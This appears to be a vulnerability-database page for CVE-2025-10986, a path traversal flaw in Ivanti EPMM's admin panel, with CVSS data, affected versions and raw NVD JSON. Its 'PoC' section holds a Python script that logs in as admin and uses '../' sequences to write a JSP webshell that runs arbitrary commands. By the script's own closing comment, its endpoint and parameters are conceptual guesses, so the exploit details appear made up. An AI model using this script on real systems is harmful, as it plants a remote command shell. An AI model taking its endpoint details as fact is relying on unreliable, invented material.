Security Vulnerability Report
中文
CVE-2025-10986 CVSS 4.7 MEDIUM

CVE-2025-10986

Published: 2025-10-14 15:16:02
Last Modified: 2025-10-15 18:07:40
Source: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

Description

Path traversal in the admin panel of Ivanti EPMM before version 12.6.0.2, 12.5.0.4, and 12.4.0.4 allows a remote authenticated attacker with admin privileges to write data in unintended locations on disk.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:* - VULNERABLE
Ivanti EPMM < 12.4.0.4
Ivanti EPMM 12.5.0.x(< 12.5.0.4)
Ivanti EPMM 12.6.0.x(< 12.6.0.2)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10986 - Ivanti EPMM Path Traversal PoC (Conceptual) # Vulnerability: Path traversal in admin panel allowing arbitrary file write # Affected: Ivanti EPMM before 12.6.0.2, 12.5.0.4, 12.4.0.4 # Requirement: Valid admin credentials import requests TARGET_URL = "https://target-epmm-host" ADMIN_USER = "admin" ADMIN_PASS = "password" # Step 1: Authenticate to obtain admin session session = requests.Session() login_url = f"{TARGET_URL}/mifs/admin/login.jsp" login_data = { "username": ADMIN_USER, "password": ADMIN_PASS } response = session.post(login_url, data=login_data, verify=False) # Step 2: Exploit path traversal in file write functionality # The vulnerable endpoint accepts a path parameter without proper sanitization vulnerable_endpoint = f"{TARGET_URL}/mifs/admin/fileWrite" # Malicious payload using path traversal sequences to escape intended directory malicious_path = "../../../../var/www/html/cmd.jsp" malicious_content = "<%@ page import=\"java.util.*,java.io.*\" %><% Process p=Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>" payload = { "filename": malicious_path, "content": malicious_content } # Step 3: Send the crafted request to write file outside intended directory response = session.post(vulnerable_endpoint, data=payload, verify=False) if response.status_code == 200: print("[+] File written successfully via path traversal") print(f"[+] Access webshell at: {TARGET_URL}/cmd.jsp?cmd=id") else: print(f"[-] Exploit failed: {response.status_code}") # Note: This is a conceptual PoC. Actual exploitation requires # knowledge of specific vulnerable endpoints and parameters in # the target EPMM version.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10986", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2025-10-14T15:16:01.780", "lastModified": "2025-10-15T18:07:40.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path traversal in the admin panel of Ivanti EPMM before version 12.6.0.2, 12.5.0.4, and 12.4.0.4 allows a remote authenticated attacker with admin privileges to write data in unintended locations on disk."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 4.2}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.0.4", "matchCriteriaId": "14CCB657-0965-4842-B6BD-B7B2890DFB0B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0.0", "versionEndExcluding": "12.5.0.4", "matchCriteriaId": "395B1544-0C7B-4883-BA2D-772416DE26E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.6.0.0", "versionEndExcluding": "12.6.0.2", "matchCriteriaId": "A53B20A3-676C-4ED2-B6A7-EEB2B537666C"}]}]}], "references": [{"url": "https://forums.ivanti.com/s/article/Security-Advisory-Endpoint-Manager-Mobile-EPMM-10-2025-Multiple-CVEs?language=en_US", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory"]}]}}